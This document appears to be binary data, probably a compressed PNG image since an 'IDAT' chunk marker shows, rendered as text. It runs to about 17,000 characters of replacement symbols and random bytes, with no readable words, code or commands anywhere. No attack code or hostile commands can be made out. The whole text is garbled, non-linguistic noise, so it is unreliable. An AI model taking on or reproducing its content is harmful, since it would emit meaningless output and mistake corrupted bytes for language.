��Y�y�Cy��`�b��ƺ�;=h<�y�P�8a`-�(�!)�:��Q�u��Yy+��X�38g��`ʒ�H��G����mZ����Wx�
e�������BI�����M�$�޻�;I�d}g�����/j�Ό�6̮��h���ߚ`�Z�<����g	IO@�-�H�"}�B�|���kO�2d�Ae�J������
j���Z�I�bJ$��e����q��Gc��O���,e�&�E���&G�&�~���4�-6�&^�6�EMO���DŽg���߯*���j�f����O�q�H��n��xq�a�4@��>�p�]�� �5��-�<�����&��1�Q�+4�E
O�Vz*!B��Dh��F8�M�
�Y,,�\Y�7.s9�h+	ֳX�o�3L��&f�����)/g���m��@L[nS�o�⇙�����7-(suߞ��,� d�t�d�^�u	s�2�kX>Pk<)%?�Q�����NYp9��$�"�-b�����K�R
�E����Rʐ��8�y�E蘭��\E��A���"#,)���P(���-����=�"��
�M�<��	aQ�ezj��im�~��沀��o���q>�����
_q��E]���Iɝ�9;s��Ew��V��n�N�iG�2/B����ؔD(�����S��M)#v㘏����&�J᫐v��b�~��LW�y�w���ı�6W����2T�k)Y.%-�X[�9�'тXI��`6sQ��������ʠ����b�g�("v�e���V�x��M���a�9�"d�+$�j��G�7�4;,LR�(�����9��r;[��M<��ϡ|�1%Q���و���u��]Ҥ�p��b)�T%�b�p�ޛ@�)U0:��L@L	֢�$m��9�EI�@H������
�½b��s��z_N��I%ۗs�*$�W{8v�4%��U�!5�U�gY�<����#:��q�pP��%����[���VQGFK|@o�v�<+�IL�$�a���1��+���]��0��a�8Ƙ��b�J-"T�n��+^E�
����
�9�:��?H(/�N�U��(�������V�6��M)���2O�n�|�zQ�J��k�X0��2��q��VdRPA�j�EpWnY/-Zj���@''�\YpWQ����MgYi6�G��,����R@X��������Ϙ�KK��u5����NȄ��k'�6�n��&NNH쿉R���o������ѱ��<sRr���3gh�������B�+C���i�ޤ�f��Q���y�h4�U�*/�S�Z{}��F�0v���V%ߩ$"���̋�wwd�PS_�nB�aVjp��E�s����l�Q���ؿ��	�����4i�@�O�<�оJ�D7�"�h�|�P�yb����ի��8��Brfu�4���x@
�$1���J��1�Kڅ�/��2g���׻��ro7�x6�a��2t=\Jۜ���5�X�@{P>b~ϟ>&7���wy����ˈh���M�zaR5�����qB��XX��!�I��!f�?L�|Z lB����S4"�JR���&�ʑG(k�g�+�q��5m�X����8U�^ڦ5��ns>
^�*cq�T,!���JZ�*!V	�+��9'x�z�(b�s�z��E���|�{���:���=�����P�����ڋ��3?O*?<%�����g�cmcz��q����R�ɵ�g�*6�]S�B��vO8v��Nxd->y!|(#V��5Z���l��V�f6�ʰOk2)���X�Y���g���$E��x����/��<��D�G�i�8���"[@�zј�[
��1ᐯ�X��*��.�@�0�B��i:�y���������W��%�t�{s4���8��ޡ��=Ѷ��h�d8�	�t�VU��\ZX�G��$�Sa#�HXL$��^�P}ꡬ,�{
�(�e\�X�)�
���ynV%ck�<<��]n9�RT�Z*-€V��֭߳	��z��elU�SbI=��/O��pr
;�#�1D�8��>���b�Ӓl��i�n�Px��0�ަ��"xg9��x�I����yH��*x���٘`T:b(i�D*b�1±V�(o�ǁI�RTؙ�ƒ��98��%Yd��A!Y�4��2d�׊�G��u�xr:��^��tk��i��)���O5�:u5�I��Y����bYkTC�S̞�7�]r�h�n�<��&}S�����"�
�gki8�ORy�1ut}q�3�~{�����1F@�j�h�ec�O[$B0ɠ��0R��R�К8��j��Y��q�����\����Rl9���1��"{ϲ�{X�|��h=E��������6��G˒oc:��Pӥ9>�<�I��D,�	$���x=��h�
��p6W�hgA�	#�2onR�*ѥ���<�++�t�
oZ^�T,U]_5�)ɳI�$�,+��t+��P&)FH�3D8���8a�c>_Y~�
���"��	l-r�D�#K/�T�Z��Kk�p�x��h�/ɍL�:�G��@W{ZA|� �C	ς���<ؙg�{S�.��r�*+�k�Fcʢd��Y餬��pR���,/�J��l�窊��FhA[Ÿ�'m�쓵S�L4�~�%L�b��3�Uy̳9�t���l;GX0�������:�	/f^�	
�k4W�}9�pT�v|�'BPu8AwN)��,��=�y���4t��+%"��g����DZ�e�H�i��g*��^��	��E���J�/5�q�1�ɩ�"P�*j�Dxw��
@
��G��������}8���2�I���2��
��
�w�"�r��I�C˫,ڰih	YU �`��&��8e�Ӣ%�Ba��(�:��QUX�hu[��*
RkFUE)�V̧���s�JJ��x/�d�VW/�B�:�␼�ڀ0�����Wn�����I���~"�A�9��	�"�*��l�YS�潹�P��1W�Oh�=R*\i��"U	k�+5�`cy����'�gƚ�*��Bx�"G�R�R��4Ŕ[��<(<F£�5/x��x��:�x	Z�e	K�թ��.��x����|�#�~�m�)y�k��DI�q�T&N7�#�H+�VA!���v�}�g�{y�^��Α�)i�ЎS��UTt��%5�
��(Ҵ�)�vk�l%�/́AY<���1�"C*��;�E�C���b`���F�|͂Ѥ�5+��%�	����q|;8��-�vBSD�q�”��4NM�fMH|�{�f�Ż5��UO2
s5Qjih�H�`�7�{o_?���HU���"{{�={6��aqe�”�S��v�ҍbV��M��$"R*��TR��7���M�˂;㈻:ZeE�
����W8�N����g����#���i�"�4�:�x�Y�g���s���nc@�׷�����ң��82t
��Z/����S���lD1����D��x�2��;����	�q��09��Tƒ�8�X�2޿���,hs^0?��Y�8_�c1�"|���Uɏ����)�� �J~�S�����i{�_C�O��q�;����8�2#O�}�f��O2��c$�������~��8�vD��L�M��ð�w�o�s�s��(ϸr�
i��u�����eIUVxZGH�0&�c
Cn-W�嬳DJ��0�K���m��p��⑵5�+I\�{<���_��DŽ�0�~��o��#3*��e���0
7-�o�4��!m�^�)B��UU#|�܌�xBJ���|�q�x?M�M�~:�G%Ii��j���Γ��\�J<`na�3��,�/�MPJiW��˜QY0�2
c��� /J��T�H#�K�D>�l�?!�Di
x�$��:k��2��'W�}f���
��+�ݯ��o�٪Ŋ��<��r����ߎ����#�"����/o��'T
��\��b<P)��4�s��=�8˱֒D!��N[��I�B)���!H=��؎BU��%Z������Ah	y�5�y��l����=��uN}�
�D��M�L��fV�6�X¢�j��#@�$ 6�Z4�q?���o=ţ���O>�yZ��;;slxE�K�YX"[\ N:�.UV�����¯��j���8M�[-P+�(0fy����ܡ}��-�p6�	 *�c��N.^8O,��'��b��N�pT�߬"��s\мv�#�C�XK����T^>ʭ�uD���#x�w�G�/d��)HB`�٨�&�W�����I��*9
���@�#�~����7�Ck�J��b��r���hiM,�y��l8ƻ��H�1B��a*�H��!%��$U���`���t���1����.0V��ec�]���c���iD����j�NC�̒Z�% �҃�^�x��(7MT�����f=.��f��34{~#c���i'B
�8�gI,	��ְ�"Z^�ez㜨0d��Ҕ�NWt�h���*�Zs�ȃ����",�ʑ�%�U�<PŊ�7���ux~��eop-�C�]~�V\W[�n$i�woo1W|��#$#/꺃�'��}Ԕ�}+�>���|̲��(���e<×���uXx�CR*|G.��<qc�!n%t�`M'�K�6kֱi�JPU8G�5�s�e��c�X|g߿��RR���,Δ�Ji�m\o)~�ʋ\�����t�]]3Q�	o}ԙ�M9>P��E���_&��c�L�j�uy��Q���'eK�HzU���.oY]c
�=8`1I�k��9�|R$��%�
�'���;��#�*�׊�rSᤤ�'l�7M��lĖ1��L��M�%�#R��Z*j�,JP'ѡ�;N�v�C��3qRģ��~Q���R�x��<�4��VY�[�,jNID�렓o�ᐲ,Ɍ�E��`&��B�&��@�*5�
�'�$-'Y��c��_!3�R�j��D�j�0G�Ob���pyկB�y�}�+��0p�J��:S!C�N8��#�Ob��('Q�rW�5KK,�cD5&�DT�R���bH�<�ʪ$Қ�D��8E�NJ[���x�q�DF��"u1>�p���b.��B!e ��{��t:mʢ)O֎���dǏ��jAx'��E���Y���<'v�c���a�&L��]-?a=��Ou�YOڨ|̂��w�$�#�'w%y�S�S@t;�����U�؉���
��Qy"$I
�r��l*��Rsaq�T*vC
4��X�B�Y���R�����p,�*�k	��iT��26)4w�́���#�d����:n4
EOb�����5[
�@�_Tj	��R���VW���%��EW�,���=�Sx�8N�H��#uLY�)Klq�h�K*#G՘J2[R�qR������ڼ���Y�VW�.c�*%e��^]_gmm��hDQ�ݱyY�W�yz�P��ĚE��)�BPȾ�0����Ŷ���>�_/,�'g\��	d�S�9�Y��?G��fm�4�?�5���Ӂ�z�8*c�m���
�u����[Μ��3����!E1�b�PJ��
g�0�X�g8�cQkY�G:���QYᜣt�*pe6��={�y��8�q�^���	��x�i{��H�)5�����W>
��(�iva!�A�����S���f`��5-��_~��M���%���n��9�6<�;~�;�-[H	AR��%���Y�l�l���+�x���xLU8�D�ケ��dNR����a$-!�Y����l#
"��d���+�\j��].������w^J~?�#��Ϝ���`��2�q�q�Y��Tg�����pb`j��:-�`wI�������������퐧��o�x�J��B|pЈH�ANz�������M��B�BrL�l�B�.�W3-���"�xs�"��y\*�w�Ǹ�>��s�-/���������9�V1R*�c�I����������$�Ґi��C名q��7�ȥ!�2�t�Z�Q�Dz�zN	�P����|�!�K��&��6Dx0C&'XIw�o���٩���GRr0e� �>��±�a��&ag��a	��p�e��a�����>$ZcPT�[�}(�Ꮋ�}�=��+�:|2�+��x�E�r�/��<W���dawpF�.+v�&1.]`a�GI���r��96^x�ddЕBE)Qܢ*,eL��x�yk�
����>���^��ㄲ�o�����SL�ߙ���Q87��¢3M�rB������a�ц�����;���C#��v�iQ�Ʉir�!;p��f�#�Il��:����q̯����	t�edJn(��V\���ƙU�ˁw��X��ߤ��#"!�V����lL�Ҹ:�`�J#"E"���U�ג�:B!P��ш�_~�a��Qa­JMO@ǁ=^�2��3��5PN�u��jy��kצr��۸�p�K�TLZ���xMX�W8)3԰=�T��B�_x��Н�^��"x��5(��H�*���9Å(f��f-2��g��9��<��>Ww�scdX� 3�vw�-Ű�"m��v�܎iA?�ٹ~Wy����f<��!��%[�����5bq������
Ϝ�����P	t�-D
R�)k�[��F��F�E�xq}����1���q��c���b��~7��dr�E>g:��2G|�|��w�*O5�TV�g�^S��E���I=����;<g�>�?�s�>��$�rz�Y���=�5l#Fΰ;�gA/N�i_*g)�a\��`5�pU��JQ�1Z�]e���֊}1t�AI"4�<m�4q���01\\_���
J�8�QB�dQJ���~^�r��>.%l�D��,�Y��_t���%���ߗ�-�}U�_D�V;n]�δOXXO�$�s�[��=�Zq�{�$��H!C�?��*�sZ�#=�0�⎹����Q��q�V�})���g.�<��9�6����y�{>:7�^K��\
�:�ҝGD)g�97zmH[H!��dU�0ˑQ�K�|�~{��}ɾ��?/�R�I<�㘪2������{ϖ�,�i)�U�'��Gx�n�ϓLG�N�4��D�Pp�KL�M<�-n}6+��5!�w|�'1�I��Pr���L[(Ij���^'e��1���q6Ii�*��n3��t���CFI�^S�U)�)J�8/�T1�3�VL,$Zj��l�ݻ�3\X��s��*˶w|��5����-����H@�oc	iJ?�U��+�+�9�D�6Y%���%�k�q�&=���XA��H�C��34�[�8[iE��<����=6��I$5�W���<�\:�;�ϰ�*�l�€C��A,���as{����]s=�aie���=��hdc�J	��|�`��]~�}V�Px�e�\Y�	O>0�
ϑx;����sJ�_���\���po���~�T���rM2
��B�%��F��c���)�1�N�"�6�F���0Eg��2&ԷWk<�N�>,e�AUQ$	����W�pm<�ލ3<�z�K�onQ]�ʙ^�3++d�1����ZNq�V"�{���B�W��,h�?�Š���$8��R��z�tIU��7���X.%-]Z䞴�����JS���/ln��+��-R_�m���w�m�U߉~gXadzO��Vխ,�TIR��� #lrth'0��m����Я�v��v��s�n���n�������BB( �⭺��V����k�s�{�*�*��5>�]uϞ{���s�1��7F���gZ(zI��$c��)R	���*�HE�8/(�GE�$�ٔ'vwة����^�8��[�d>�$�>y�c{H����ܐ�,�m�e��(��E_A�Gl�ײ��|�������#���L�i��x!�/=^x���P�O�Y��=�3�)�T	�S	�Օ
V�h������1+�!J)���a,�R��&8�4&^[�꘲4td����H�q%���T݄���Q�n�n^��`�Î��m0ݣ����=�fo�Gt��5(Wa|�Q�Q�������č4�==8&8���wb��v��^5�H��Bx��kP����g�kF'yl�'�hwUh�0YNok�xw���P��j�Ŕ����)|�� ��U�n��"E��2��z�!u�ޔ��f���kM�'��e3t����F�9	���q+��w�o���~,w*~/a���-�#BX�m~<ĭ�i��\F�k	a�!8��_���fG�`v�Ն�&�)��Wx�pq���̏4�>�fbA����^���#/�V���[��EyA�D��W�i��,��H�W77I�#�s���:|�=6��3v��	�*>�J~�Mxb��t����]�
o:s_)
��{X_��)�����r��H0�(x�ڀG�ָ�ץo��|�w�n���& �Ƅ��"
������g�/(����xd��h�;��d�{���ދk�7��؉3���[֌ḵ��ဇ�W�kK2[�cM��<nq���l��)W{t��М(=�^Sb��t������C����2"�0�>ju�*����-n{���7|-�gkrX�Mc|�����Y�9'9\�>L؟���<�ze���S�N¶���Ӝ����#o�#:X(���w�h�'�����+���!��"y�Zr#������SD8�c�Ñ��y�f�g�� <��K��s�C�)��$�wY��ㄍ���+"1�0�2њO��0�ݣ66$���r~6壻�ĕ�\���?�o�;��|�q��i^3:I��&��O2:��M=;ٔ�Y�n^RxG,����p6��6Vx홓ܞF���q	�o$)�.�l����mHF�['�N��y������,y�LʃA4�A�"0��1�%t=lxxE��c'Oq������W�
�gM�P׆cqJ�
�I�~�u�S��z�PFH'b'���`5/�[����9Ƒd�:.���Aî�j-(T�cE ��u�O�v�BW�wqX�uؼ�6���ш����Z�i͹ڶl]�h��b9�t@Hhi�@i7*
�$�۴gTuvw�eq�}��B�Q��3#�-L�s[[�|r�I��z��ɝ�x⃣pˇNY�3��C�Z���^_+�4̤a�<yGS
{��Y]�WW7�(��+�[De�P)4�b{J�oxl�n�y�ռ��<r�n���W1N��g�R�ԥ���}&����y9�(k0���:'��{Iw�sJX6̈́�3�y�?���\�{��&�T��C��y�R8��u!�Cz"P�/�M%؍�_��B,�V;?�!���8E����$(� �Y�z�]���Nn6&vQ$����|a�P�3��u�PE��1E`��)��	Y�FHMY֌��}�x���:��A��q�*y���<n<�t ��VLx�^��˗��0yt����XE‚������)*{-��Hć��s������Ve����"���n8�`�l� �����fTv��<�!	Zp��dH�ck'�G�%��_O0�f�(�<F�E�A��
-��tj�Y��W��3pG�GYLq�`뚸��lU��P�"uz�N��D�{�W�V]QX�]++�U�8�ݑ��5e']zIW\]!����đ'j0��/�q����:�����ILr�
?�c_���-��!�{�>�5j����.b�W�'C[Bp���SQ.�#R���-�oFB��j+�K'0b-QV��t����S�[O�͈q"�J4[�)*��7
�(%��g#��������]�8�xo�vX�tm���#j�A�����5FU��2";}�'���V5?���\�ƜՊ��Brź��$�I�`9m⯋��#Z��76cq��&(�Y���,j?F�k�1G�6�6��Q�ҍr����'�Cv|�r�'��&�ւ��jϺ<�q�p�պFQ�g�A��<��U^�j��4�T<�r��).�p��6�$���6��㝄A$�h��������tY��j��]ͅ�-����qus���'�PW<=��BU��B�
<R
���,����y�=x��P`��s�D�I�\��;�Ss��k"��J3u"R(�H��ckΦ]^���:a!��(:�O�%�IF,C)��`�^U�%=O��"�"f�V҄���U�4aB]�dm��].��2:v��J��e5����tbƓI�y�q�y���"�>�CZ\&s�炰C8�VjBA�L�4ռ(e����^"B��c�Y�L�&h��x�\2~ �
A�y7f?�Lg�H�tL�%F	��������SܠÕ���}N�mp����1��0�LACQdt���$.�"�����"*��ʒ�,c�(������N9���
_a�^Q�Js���.�ل�Ō�zF��K�`%
|��C��a_�=��e��M�.����yAِ~� �^`�M��E!�@ቝ�5�
X__c���H���k�$���e�̬*���Ar����k$����t�,+�i��x��@;Fiˆ���	����ұ=+ث'EE"#�Ds��qfy�qo9������
Ã�+�\����F+ϳ�z��[�1�'��!�I�[��ϰ������M*�=X��5�^t��?F��i�8b�c���aR4f7�Cy���\�ujc�X먼c(<=��5u�å*�.��>��޶?�\^��7&�5iB�9�"�1�#�Jc�
_���X=v�=��՚�I���Q�Nfh<�V�|�tʻ�\�YON�{�y���0EA�\ u����o&��pN:R2�!I�_��&_3g��wy�>��FyHj,*/�ߌgGz����-I�a�����k[[��wl�L�����B��Ɛ��{�ٌHI�L�/��
�w�UUqbm�kl����K��yG�`�X�U�t��3�H󌿓���Ky�fUP9G�Lf3~�Y��{V����!�%�m�F˘�ˏ�/⢹��y�F"����e,�m��f��N��B���H��-�b]��-�(��I�U�w,�;A��]a�,��Z���yB�Ģ���8�#B�'�=���w�XI�5V%����k\���a�%{Y�{w�<\�\�޹���?����#R��KH�-���+�n�'23��@ڂG�]���kk:�#�n���}��lqo�e{���Z���ѱ1�"��9w�
+yF��S6�ጩY�t�/Y?�;�o�-��o��q+��X�|���a}@6t��B�_��6�C����{�_r��DRa���
���~�?u���t�7���o�8�mBp^G�Y�R��h��nR:�k'>U�<>� �'Ic���BwR�����5�n����k����1�T5�$�c��;^ͻ����go炪���5�Y��'X!�ߥ�s��E�wD>`�ªw5���m)p_3�_E6����^JBX�W	!�E�F��/�Z�wG�Œ��4�-��
�Y����U�	Ǹ�Aa���mX�p>
G#�7jn�e;*��/�blj!K���sM�Nj��`=���~���\,B8��ٌ=��u"���㹝]�s�}����p�=��>W�"M8�����n)�pT�����j9c�A���q��U�s�:�[�L&��ʌ���?��q�-[Q����Tx�P[ۜ����x�p���<�Y!��%��8ip²+�Z2 &F;�v�Z�����xcC	��!3ٹp�.>X MƗ��pd8ց�(XY�v/����l#��X��8�c�ɘX:IJ��a�{l#���`��i�Hc
g�Ւ�5�u�$f���"I/��=�Tt�]���%)*N��y�m$��]8'�"G�5�J��/!X�~���&Y!8c��J j�f����n���|+�X�@�6�fy-�'�:T+k�����(ŁB����)�JX$�������
x�g>��~�R<;/̗
�F����_jεH"��.�������]���Œ��xBH
��Ky�3�	���������\Yg-J���:3�:eF���t2G,�-�m��[R�PQD�O��f9e��RGi�U��t����u��fk���x���Bv�N��N�����;t��3g8�vI&9{���d�[O��A��0(eҐy˳֑�#��hN�	�
��I�$�\=}��h���%%�
��f�����ʈ7�}w%���8�4>��Q�?^�dJSI�B�x��aj�G��^Ss��b�$��IY��YUR׆`�ƸH��%[�W���˯P�;����Ǡ�g��Uf�;P��P�!�#�o
Jkjk�9﹭���#��7�#�qz$���^�7���K���-c�$zv�y�����_n	�%�,J�ͼ�}��G�>���CX��a��%~���D6�v��'�H敏gܬ����g��h	_�眀��"��?`��1T1'����MEǔ4��P��I��HE�<uUP�U`]F��=fК�����Gzϩn�G�cz�9>~����1�O��RP���f9I����ʠ
C=+�"�{��G�a\��ixb���v�L4�n��J�Y�&P���BZ��5uQ��x!����X�>�x�H]��Br�`����ll���	z���b���hȹ8��ٌ�Q��$A+������,BJ(ތw�=:*aw{c-2�P�����I����h�ԒiY��Iɴ6�B�]�<���5F	��y܅��5���`�>o%�A|����h��(:`F[�-�l#7� ds>H@,��^�'&Xm!�.��X�v������^��#vl{hh����+�"�鵐�f��c����C���X�5+F�b�C�g�$�Y��ĺ�T����QZ!�D(^rS��ɘHI�N���
�8A)ͤ,I�$ϰyE"5	�TE�E�u)����t�8`bJ���k���=��q�Y�غ�M%%��c���ړ�=�Y�ٵ5�z1�t���12�X4��ث+ƾfP���SgX�u)󌫛W���3�������IE���#C��pP�Ɠ	Q��I�"RL��:+QF++�H11Wv�C�7���FJI��D3����㹽]�l�8^6�U�;�l�m�3��Y�o޸�\
a��߈��/<�g{��kn\�%�x9e�#X�_S�̧h/H�Z�y��ɝ?,\��P8�f���fUJ�B ���wƐX��֝��~�3ID\�"M��ZQT5Z	^WV���n�uh)B��Yjo)��[X�1�
�q�$F&	�{��"��|�SY��
���HgքrfI�Jb&U�M;�S� Np��DΧ����~��KOF<x�4�eM\�1��v��>���|�''WY�=w��G7N���P)Kg6a'֬t���B9�@iV���������8�B�z��	�7�iU1�&(R��T�QIO�%����2�rj&�9U�<'\���"M��)/y#�� ������0��yB��L��`���LXMX��^��p�������(���f��g�1��Ἳ���h�(B��fJ��@G�K;"�����G�|m��#xK�a?uT�s��z��	��A��
ᝣ05o*s�d:e<�)k�LH�:��ڒ��TB��&#��
��=Eř�DZ��<c�TZPF�*���:N�ΰ[��
�j|$1u�W\���d�gw�r�ΘĆ-7��&�䲦�e�c��9��x[�%�rfw{�
���IbE�27f�I]�h�"%B1�bw��׷��V{"	*�$���-y�,�F�9��t�� M�H�g+&�)��N���j�+�i��Kd]�%��\���&�;��!S�}g�T�T����2��n��POIDAT=c/�Z[��/j>a��N�0�RI
J���H��Ij��-Qb�L&�	!������<%%�[�����\q[�L�oh���*���v)y'��u��l��f�B��7s|��ܖ�Aۣo���>���B�s�<Hp���׏�w�\Ts��s�+����A������A�t����l��1�n+���qP�� 4����+"��&�_;O	�:خK�4��l���y2+�ZV웚B���>	[ޑZK�,��dZU��Y[�ڛ���	0*x�w�	W6�2�M��w,$��e�TSz���1ݝ�@�>�1�k��c��H�A��&w�Rִ�D<`wX_����X�ᎽkDUNĚd���t�O����G)�f3sݕ+�.��@;6+�yI?��༠��3����<��C�(��tH�g=^jv��n��N&y�s�1��o�m
�bV�<^ՔN�5˹���#���l�#�%���T5�z"�gx��F4��gL`�6��$Z���SP��X���5-cK�i���|w4?�vB���,�8:��Ȣ��1��Y�/��z��B+W������_�!�덿�y�2	�"�vJ��Qw��wc����o�{SBPq�^OJIE�uz朋��\'���/�g��E�%CoA�P6�ZF��.��fZ��;�_ӕpG�ؠ�+#v�`��J��^�u���lB����%�(��*�,C	I�$x��}q�ף�J�s�F#�^��n�?˘�sb4�+lQ�����(��D�!)�$TܭRV������f���h��^y����5��#�8�3�W���]�ʚ�
�A�bD�f�[Oek�4L��Kp�m6��np�JQ4կ�q� Y_Iٯ2&xt�$c����>�`���'{�V^�m����(
L.Dt����QĴ��yN�
�5�;��w��96�HJtCO�x35��`V��&����o�UB�2ĴW�
�m��@J�s�==����0�oX47��N�]�@Բu�����h�Řo�cLz�a�M��s��ӏ��P�Xj<}�c�~bgx��K�o;&l~��>�
x��G<�k!�^�=o�kv�'�}�s�O��O���Uο�iIPF!��&��G�X]e�V�W�O�0U��T�!�]�EE��ot{��ZJb�	ɶV�I��X�D�
'1&�P*Ŏ����jK��'/Y���P�^�N�!�"�4��
��$��JJ���N���S�-9.4}!y�d��2�J��eD��ի#ޛĈ~��ل�U�\�E�ZH��\�����V)��$e�)O�JI:iJ�g�U�R��^[���b�I�d�`<�:"�>聴��R���k�ײ����<�4JG!����bN��r������R�s��	��\��>��lB��9!�M�+%�q�� =31/���S����a���4��B�2�Bּ #pJ>� q�
V��!�c��/����B����G%�jg|���by*A���i9's}�ݘ��w4�T�ð��=��y�����@6��U$GI#O7�w��
'
���(��I��
����L�.!qi��S�+C1�!R���׊�L����NQ�[�b�'T���R�AI$5U]�EJE�!*��)c�+\���ɐ��ʀ��]l]��q��DK��klm��k-��䫫���ϲ��ƒ�ΰ��e��!O&��{�����1�.rR�2�_���4�5'�q\hz��_;F
UpUx��8P�	�UM��=X��x�u�Y�����`҄�ɘ+ۻ���Q[�4�PQ����q\�*�LI.%ZE���+����I���<�U�+�+��MgU!�gO�\�r������[z�ڇ��A��,���*	��8,�i@b>Lfg��?B��h.������	���
����u�Y�x:����������
�2g�qke��H�y��V��~��F��<�D���A�6���]W���W�x��Ex�l&�����| cn�:P!��HU4�@��9��H%�k�NU2q9���Z[g4X%�;�e�^]2��YI�,۝�u�RU���03K/QB���qLGxBuU]Sg3@0���6���'���p��U�$!�uQ�؟���1�$)*�8�jr$�C;OYT����϶�H)���=ɹ�q:bg:%�b�ˉ��	�Դ'"�0DΡ�D��JU�!�n)%uB���J�+71����:tQc����P��8��Bw\��c���t��K�5��x�K�UHWC$)���j��dƧs����mt9�;��Ĉٰ�^�a{��Z�?���K�q�<ꐭ���l�3&�!�335coB���XH���H�jB�ց��"�	�E��֕��$��.�'��D�"���:�2����L��o!�a��|7a��B��ł/�
qh�#�AH9��+��v?<��7�ċ`�I���yX�G-��|M�@6i�G�QJy�-�Bj�#�SC����9�����%�<���""��҇}rn
wVUQp��n?�8���U���,ёd#R"��ZGm,�f��k��]�N/ �:�.R+f���,��IB��x<EY�'ҡ���Yƴ*���u���'.^�XC""����i�Xh���JQR���i��n��9�m`��!�D�PE�{�Қ$�I���+���y���6�,#�2��cPJKE7�X��|U#��Eh�I#�P�%����9�O��{���ҵg��T���
�i����b����q���Ǭ�%$γ���zZ��������۸cm��RDuMWIR%���5O͐�8�H��/��
��ZZ��(g�=�H�Q�+���5���JA��|�[��gq܁B���<�7�+^կin�R���K	�Pq$�������Y7�SRrVJ�
�2��$F�лR��G%�@�
�3R"�$���2B�eJ2�1�6<�
�I�vw ��0`A�tB�"�"�=>�@��8|��PBr{�r��Ăp�!1xQě��DU�;EAY[J�)	�1D�g�<���c�.qR���DiB��鄻�S���`YV8��k��Nb�R��p���DIBe*�tʃ��V\��9TC��zǛ�NW:]��L���{z����k�um����`�S��76�0�%�f����n�jm�˒{�}����p��9]���k6EHĒJ�Scxl��$i�֚n���PB�g-wW�X�Hb��:�R�=�!H�g%�XQ���.g�	�D���㞵���B����'�B$|c���/�.	�mIV�QTcL1�Ʊ/�ɘ��S�UA�
Bt�[���{/_d\�+���Ӄ�Yq��Eǜ@�U;q��5�����oH5���a��*R�-�q*�%�c���ߊ_��|%�Z�y�Ğ�A�LŢc���֢!x�\i��u[��S1�����<!r0���AB�����9=�?��r�~�r<�����i���|�V8dVv�P�Ϯ��v{���*yH�<����=B���s�1�wP�y��Ƈ��R�*=��,��H�A�y���$�I��V����0J�c�ֆ��R��$�8��ʒ��5y]���I�[�d/M)��εU�;G6����wd�)�R�35��C�0L��&����S
'8g��X^S��,�l�O<S���UlN'���)�V�2K�&^;��/�2�j���f�����E*���S�._:���<��)d(5��T+"����<o-xϽJ�F���m":)�(��FJAij�(")
q���u�j�R:G��-v�V�5k9kX{O�IPBqv}��\���
�5X<���G��H���*��H2�x~���f�{c9���Q�WG��N�ucY���B���h���3������tJ������bE$��֜��{kǓ:Q�q/I��+�q%��s�Y�n=�p�{��M�򽄐��d1��X��8!��1*�C�������g9dW)�>��o��MX�F�]�^<:�ß��҇~��t�-�EJ'�L���U�Z%��c�oh�=z2	�=��d1�
IG�ŰO#��tӜEIKI"曊`�;�Rg"���0/�&E�%��e�:��[�*��5g�䘀d�C���riVRf%�i�0JpUŕ�W�b}eD�c�i DSB�L ���:Gmj�H�!���k1u�hS��wX縬T�;�-c,W˂KO>˝�>�w�D.g��ҩ
�^y���e��ޢ�v�J�A	Oejv�d�9.�	R��Dt��|��„ؾ���:<�+}:y��!P(�� cM��T�	�XQ�3�"=$��6��e��I����!F�xI��y�
W�p�k��d�Ry��᡽=���*O�f��N�9��+��	x����J�"#B����R������e�F�S)�+;�66�Z�+��,�����u��h�K�4]�2�p~g���h�ZB!0�ԧ�ܳf�sk"�c6�+��!|����y–�*,rT�]"�����~{��E|D��Sˠ4��D2P��K�iU��ޣ���M��U<o�-?i*o�����&P�'����XkH҄�8��k4�*��R |���T�:⋌�Q)�x'Ũ��6Z`M�m�U�G�Brz8bM)n[Ye��Zs���I��$�;e�(�&���ȼ絵���1�$�X/e��iD�܇$�4�Jz��	�ygC����w\К��(!H��a�9�ˊ~���RTP%�X��"T���dZ���l��qQr��£�y���2c���<�,Y�����2.U]-���A9�{�U���:Dd�nV�P���[�js�6��9��Su�ǒ�"�b�R8{�[�L�!I���D�&M:�5c!��&t�C=/�JE$%u�
(�J�?"�H�`���w��E����u��U԰NI�N�%
OW�k��g�N'|�>9�����ѐ����Fx[3�2��PS\�SE�ʂ�~�Ȃ�+Lm��.WL��)��;(��
��q7�Ǹy��`���s �&�H�t3Go�qs����%�[�0 =h��Jb���怱K����8�A�󰔵H�p��e�jn8�4�Z�#OB�{G! �$�8e-�L��рb:�/〲K:8��z���aL�`Ч�*��1uIE��}������*�Y�R�UIVdDqD'��O;(�4�>�Q3OH�Rj�tfRJ�	Tj)�&U�$R�H3��%Q���
�8adE]3�&�m@BJk�w��1mλ`I�� ���^�'�\�yŻ|���۹��
��T�TNPM�׬�ɬ��>Ǻ}���S��P�"�D���HLN\�޻'��km���cH�!C�8�s$!WC)�5H!��
շ�lB�b�����NP�:`'��Y�5�X�x����k�R
{<7��Z6���H
6�+D@=�W��cÕ��5���hkI����O�=��t�e�u����#�bt���,�Z�D>��>��)'�u�Ϳ��#E��b�B��j2�\m���@IH�����RS�%���P�%����.�n��dL���>ZJ����ۧ��#wgjue
��~��&"86�לMW�J�ㄬ(HD�j:`2����N'!J���B�)��F��8bS�C��E9��x[#�)��00P�N��H% JFt��)�P���5EY%a[�m��4��0�b��JU�#R-�8�[C��C�#���MN�S�*�4j��o�q�Z�_�&ߺ���g�1�uTZW��b�ؠ�tL��i�6M�(�
��Z�څ2ts�h��!�D)��)v�m�'���5f�
[!_�a:��IAi+��H�HE@��C�v)�G���������:���*�9�8�5*r�(��R0%��w#����Y�<��b�0�C@Ǯ���B����G��t;)�A�I(��n�cK�ʜkuͅ"犷TR�;���›	f��~�!D ~qA���Q�Q!PR5X�w%%�8��5�;��Z�(E?IYO��7���َ"�
�֭�(eŠק��o�J��`j�Ҭ8�KR�QĊ�x%�M��Z]������U"{J�W3��2�����!E�cˊ���F�:�s�[ř�gDqBWG$�z@^flX�[jG}�O��\U�e�$"�I���Op&�=����VDZQU�(��7��Ւ��U�a�G�4uUa�������M�yA$��+��1�(�҄�2�\��{۱
��|X)�'O�SQ�(��8Qw!�����$��pVp�֋	��\I�@�V[�����{��D:F6iŎ��Ӻ�9w�G�S�"Xw�]�Px��J��D����lXC-��(X"Lp/�g�;����QPv^@�,4��O9Ϯ<��-	�O�N�jx��rV+��g0UMZINf9�9������r�$�w<`jfJ�#=�{�`f��:ǎ!k���glB���~�vgG�N��|�~��F;����Hu��E ��^.�u
᫁���(1猿Ѥ���|(����;�i�\ ���	�G<�#~��0uM]�g%c�ސ<J8g
��b�#�3:�.1�:�rg6�L�]p�-=3��IҔw�%+~F���N���=��#�Di����J��
���.��
